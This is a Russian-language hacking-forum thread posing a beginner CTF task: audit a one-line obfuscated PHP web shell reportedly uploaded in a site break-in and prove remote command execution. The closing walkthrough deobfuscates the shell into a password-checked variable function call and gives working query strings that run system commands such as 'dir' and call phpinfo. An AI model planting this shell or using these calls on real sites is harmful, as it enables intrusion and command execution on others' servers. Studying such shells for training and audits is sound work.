Task # (micro)Task#15

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by dooble, 10 Feb 2022.

  1. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    231
    Likes Received:
    601
    Reputations:
    145
    Это задание с минимальным уровнем сложности.
    Безо всяких подвохов, специальных знаний и необходимости включать хакерскую догадку.
    Скорее - практическое занятие, близкое к реальности.

    Вам прислали файл, который был залит во время взлома некоторого сайта (см. аттач).
    И попросили провести аудит.

    Предположительно это мини шелл.
    Нужно подтвердить возможность RCE (удаленного выполнения команд).

    Содержимое файла:
    Code:
    <?=@$_GET[_]==@_&&@$_GET[__]($_GET[___]);
    Задание:
    Составить POC, который выполнит вашу команду через этот файл.
    В ПМ жду урл с параметрами вызова скрипта.

    Срок:
    две недели

    Правила остаются прежними:
    В теме не флудим, подсказки разрешены только от ТС.

    Прошли:
    Skofield

    joelblack
    trololoman96
    WallHack
    Baskin-Robbins
    MichelleBoxing
    lifescore
    st55
    Gasc0igne

    Прохождение
     

    Attached Files:

    #1 dooble, 10 Feb 2022
    Last edited: 24 Feb 2022
    lifescore, st55, WallHack and 5 others like this.
    1. dooble

      dooble Members of Antichat

      Joined:
      30 Dec 2016
      Messages:
      231
      Likes Received:
      601
      Reputations:
      145
      Такого простого задания еще не было.
      Одна строчка кода.
      Вот даже трудно придумать хинт, поскольку решается влёт, "в уме".

      Но оно хорошо подойдет тем, кто только начинает.
      Нотация не самая читабельная, отличается от примеров в учебнике, но смысл от этого не исчезает, его просто нужно восстановить.

      В крайнем случае выручат отладочные средства.
       
      Skofield and joelblack like this.
      1. dooble

        dooble Members of Antichat

        Joined:
        30 Dec 2016
        Messages:
        231
        Likes Received:
        601
        Reputations:
        145
        В традицию тасков также входит отметиться в топике, если прошел задание.
        Это не обязательное условие, но приятная привилегия :).
         
        1. Skofield

          Skofield Elder - Старейшина

          Joined:
          27 Aug 2008
          Messages:
          960
          Likes Received:
          392
          Reputations:
          58
          +.
          Хорошее, компактное задание для начинающих.
           
          joelblack likes this.
          1. WallHack

            WallHack Elder - Старейшина

            Joined:
            18 Jul 2013
            Messages:
            306
            Likes Received:
            138
            Reputations:
            33
            Просто и со вкусом :)
             
            1. MichelleBoxing

              MichelleBoxing Reservists Of Antichat

              Joined:
              12 Nov 2018
              Messages:
              19
              Likes Received:
              32
              Reputations:
              57
              особенно интересно, когда решал не правильно скопированное задание )))
              <?=@$_GET[_]==@$_&&@$_GET[__]($_GET[___]);
               
              1. dooble

                dooble Members of Antichat

                Joined:
                30 Dec 2016
                Messages:
                231
                Likes Received:
                601
                Reputations:
                145
                Интересная мысль, пофаззить код и поискать решения :).
                 
                joelblack likes this.
                1. joelblack

                  joelblack Reservists Of Antichat

                  Joined:
                  6 Jul 2015
                  Messages:
                  244
                  Likes Received:
                  450
                  Reputations:
                  145
                  Решил этот вариант тоже:)
                   
                  1. dooble

                    dooble Members of Antichat

                    Joined:
                    30 Dec 2016
                    Messages:
                    231
                    Likes Received:
                    601
                    Reputations:
                    145
                    Ага, но решение получается слегка вырожденное :).
                     
                    1. lifescore

                      lifescore Elder - Старейшина

                      Joined:
                      27 Aug 2011
                      Messages:
                      650
                      Likes Received:
                      511
                      Reputations:
                      72
                      dooble thx за труд и таску! :)
                       
                      1. Skofield

                        Skofield Elder - Старейшина

                        Joined:
                        27 Aug 2008
                        Messages:
                        960
                        Likes Received:
                        392
                        Reputations:
                        58
                        Так в этом ж случае решение ещё короче, потому что ж null, или я чего-то не понимаю?
                         
                        dooble likes this.
                        1. dooble

                          dooble Members of Antichat

                          Joined:
                          30 Dec 2016
                          Messages:
                          231
                          Likes Received:
                          601
                          Reputations:
                          145
                          Все верно, поэтому и написал, что решение получаем с "вырожденным" множеством параметров.
                           
                          Skofield likes this.
                          1. dooble

                            dooble Members of Antichat

                            Joined:
                            30 Dec 2016
                            Messages:
                            231
                            Likes Received:
                            601
                            Reputations:
                            145
                            Задание закрыто.

                            Прохождение.
                            Смотрим еще раз строку кода
                            Code:
                            <?=@$_GET[_]==@_&&@$_GET[__]($_GET[___]);
                            Не очень удобная запись для восприятия, много символов подчеркивания, экономия на кавычках и подавленные варнинги.

                            Перепишем так:
                            Code:
                            $_GET['_']=='_' && $_GET['__']($_GET['___']);
                            Подчеркивания допустимо использовать в качестве имени переменной.

                            Стало понятнее, "логическое И" (&&) объединяет два выражения, справа - классическое Обращение к функциям через переменные.
                            Слева - дополнтельная проверка, что то вроде проверки пароля, примерно такой метакод:
                            Code:
                            $pass='word';
                            $function='system';
                            $parameter='whoami';
                            
                            if($pass == 'word'){
                                $function($parameter);
                            }
                            ФсЁ.

                            Соответствено вызовы могут быть такие:
                            Code:
                            ?_=_&__=phpinfo&___=-1
                            ?_=_&__=system&___=dir
                            ?_=_&__=printf&___=RCE